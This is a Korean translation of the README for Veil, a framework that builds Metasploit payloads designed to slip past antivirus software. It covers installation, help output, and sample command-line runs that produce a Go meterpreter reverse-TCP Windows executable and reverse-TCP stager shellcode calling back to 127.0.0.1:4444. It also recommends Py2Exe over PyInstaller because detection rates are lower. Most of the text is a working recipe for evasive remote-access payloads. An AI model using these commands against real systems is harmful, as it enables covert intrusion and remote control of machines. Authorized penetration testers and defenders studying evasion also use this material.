
Veil 3.1.X (런타임 시 Veil에서 버전 정보 확인)
Veil Logo
Veil은 일반적인 안티바이러스 솔루션을 우회하는 metasploit 페이로드를 생성하도록 설계된 도구입니다.
Veil은 현재 @ChrisTruncer가 지원하고 있습니다.
다음 OS가 공식적으로 지원됩니다.
다음 OS에서 Veil을 실행할 수 있을 가능성이 높습니다:
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent
참고:
sudo를 붙이거나 시작하기 전에 root 사용자로 전환하십시오.apt와 다를 수 있습니다. 또한 시스템 자체나 로컬 시스템에서 X 서버가 실행 중이어야 합니다.sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
./config/setup.sh --force --silent
이 파일은 Veil의 모든 의존성을 설치하는 역할을 합니다. 여기에는 Windows 측을 위한 모든 WINE 환경이 포함됩니다. Linux 패키지와 GoLang, 그리고 Windows용 Python, Ruby, AutoIT을 설치합니다. 또한 환경에 맞게 ./config/update-config.py를 실행합니다.
선택적 플래그 두 개, --force와 --silent가 있습니다:
--force ~ 문제가 발생할 경우 이전 설치를 감지하여 덮어씁니다. 설정 패키지 업데이트가 있을 때 유용합니다.
--silent ~ 모든 단계를 자동화하여 사용자 상호작용 없이 무인 설치를 수행합니다.
다음 중 하나의 방법으로 실행할 수 있습니다: ./Veil.py --setup 또는 ./config/setup.sh --force.
이 명령은 /etc/veil/settings.py의 출력 파일을 생성합니다. 대부분의 경우 다시 빌드할 필요가 없지만, 주요 Veil 업데이트와 같은 경우 다시 빌드하라는 메시지가 표시될 수 있습니다.
update-config.py를 실행하기 전에 ./config/ 디렉토리에 있는 것이 중요합니다. 그렇지 않으면 /etc/veil/settings.py가 올바르지 않게 되어 Veil을 실행할 때 다음과 같은 메시지가 나타납니다:
Main Menu
0 payloads loaded
당황하지 마십시오. 다음 중 하나를 실행하십시오: ./Veil.py --config 또는 cd ./config/; ./update-config.py.
참고: Py2Exe를 사용하는 것이 PyInstaller보다 권장됩니다 (탐지율이 낮기 때문).
Windows 컴퓨터에 수동으로 설치하십시오 (Veil 설정에서 수행되지 않음):
Veil 메인 메뉴:
$ ./Veil.py
===============================================================================
Veil | [Version]: 3.1.6
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
Main Menu
2 tools loaded
Available Tools:
1) Evasion
2) Ordnance
Available Commands:
exit Completely exit Veil
info Information on a specific tool
list List available tools
options Show Veil configuration
update Update Veil
use Use a specific tool
Veil>:
도움말
$ ./Veil.py --help
usage: Veil.py [--list-tools] [-t TOOL] [--update] [--setup] [--config]
[--version] [--ip IP] [--port PORT] [--list-payloads]
[-p [PAYLOAD]] [-o OUTPUT-NAME]
[-c [OPTION=value [OPTION=value ...]]]
[--msfoptions [OPTION=value [OPTION=value ...]]] [--msfvenom ]
[--compiler pyinstaller] [--clean] [--ordnance-payload PAYLOAD]
[--list-encoders] [-e ENCODER] [-b \x00\x0a..] [--print-stats]
Veil is a framework containing multiple tools.
[*] Veil Options:
--list-tools List Veil's tools
-t TOOL, --tool TOOL Specify Veil tool to use (Evasion, Ordnance etc.)
--update Update the Veil framework
--setup Run the Veil framework setup file & regenerate the
configuration
--config Regenerate the Veil framework configuration file
--version Displays version and quits
[*] Callback Settings:
--ip IP, --domain IP IP address to connect back to
--port PORT Port number to connect to
[*] Payload Settings:
--list-payloads Lists all available payloads for that tool
[*] Veil-Evasion Options:
-p [PAYLOAD] Payload to generate
-o OUTPUT-NAME Output file base name for source and compiled binaries
-c [OPTION=value [OPTION=value ...]]
Custom payload module options
--msfoptions [OPTION=value [OPTION=value ...]]
Options for the specified metasploit payload
--msfvenom [] Metasploit shellcode to generate (e.g.
windows/meterpreter/reverse_tcp etc.)
--compiler pyinstaller
Compiler option for payload (currently only needed for
Python)
--clean Clean out payload folders
[*] Veil-Ordnance Shellcode Options:
--ordnance-payload PAYLOAD
Payload type (bind_tcp, rev_tcp, etc.)
[*] Veil-Ordnance Encoder Options:
--list-encoders Lists all available encoders
-e ENCODER, --encoder ENCODER
Name of shellcode encoder to use
-b \x00\x0a.., --bad-chars \x00\x0a..
Bad characters to avoid
--print-stats Print information about the encoded shellcode
$
Veil Evasion CLI
$ ./Veil.py -t Evasion -p go/meterpreter/rev_tcp.py --ip 127.0.0.1 --port 4444
===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
runtime/internal/sys
runtime/internal/atomic
runtime
errors
internal/race
sync/atomic
math
sync
io
unicode/utf8
internal/syscall/windows/sysdll
unicode/utf16
syscall
strconv
reflect
encoding/binary
command-line-arguments
===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
[*] Language: go
[*] Payload Module: go/meterpreter/rev_tcp
[*] Executable written to: /var/lib/veil/output/compiled/payload.exe
[*] Source code written to: /var/lib/veil/output/source/payload.go
[*] Metasploit Resource file written to: /var/lib/veil/output/handlers/payload.rc
$
$ file /var/lib/veil/output/compiled/payload.exe
/var/lib/veil/output/compiled/payload.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
$
Veil Ordnance CLI
$ ./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 127.0.0.1 --port 4444
===============================================================================
Veil-Ordnance
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
[*] Payload Name: Reverse TCP Stager (Stage 1)
[*] IP Address: 127.0.0.1
[*] Port: 4444
[*] Shellcode Size: 287